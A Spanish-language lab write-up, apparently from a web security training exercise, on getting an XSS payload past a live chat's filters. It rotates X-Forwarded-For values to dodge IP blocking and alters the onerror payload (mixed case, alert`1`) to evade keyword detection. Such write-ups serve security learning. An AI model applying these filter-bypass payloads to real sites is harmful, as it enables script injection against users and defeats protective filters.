Skip to content

20260223214307.png

LAB

En este laboratorio también tendremos un live chat, en el que podremos comentar. Pero al tratar de insertar un javascript malicioso. El sitio web nos bloqueara.

c
<script>alert(1)</script>

20260223214950.png

20260223215005.png

Investigando un poco encontramos que tenemos un encabezado el cual podremos para bypasear el bloqueo y asi enviar nuevamente nuestra solicitud.

c
X-Forwarded-For: 1.2.3.4

20260223215717.png

20260223215625.png

20260223215914.png

Ahora, cambiando nuestro payload trataremos de enviar:

c
{"message":"<img src=0 onerror='alert(1)'>"}

20260223220228.png

Al realizar la solicitud, podemos observar que este también es bloqueado.

20260223220249.png

Por lo que cambiaremos el valor de la cabecera y volveremos a enviar nuestra solicitud, cambiando un poco nuestro payload.

c
X-Forwarded-For: 1.2.3.5
c
{"message":"<img src=0 oNeRRor='alert(1)'>"}

20260223220646.png

Al enviar, podemos observar que tenemos otro bloqueo, pero el mensaje es distinto. Teniendo en cuenta el mensaje, el cual se refiere al alert(1) y al cual esta detectando. Usando otra alternativa como:

c
alert`1`

20260223220659.png

Al volver a enviar podemos observar que este si funciona.

c
"message":"<img src=0 oNeRRor=alert`1`>"}

20260223221013.png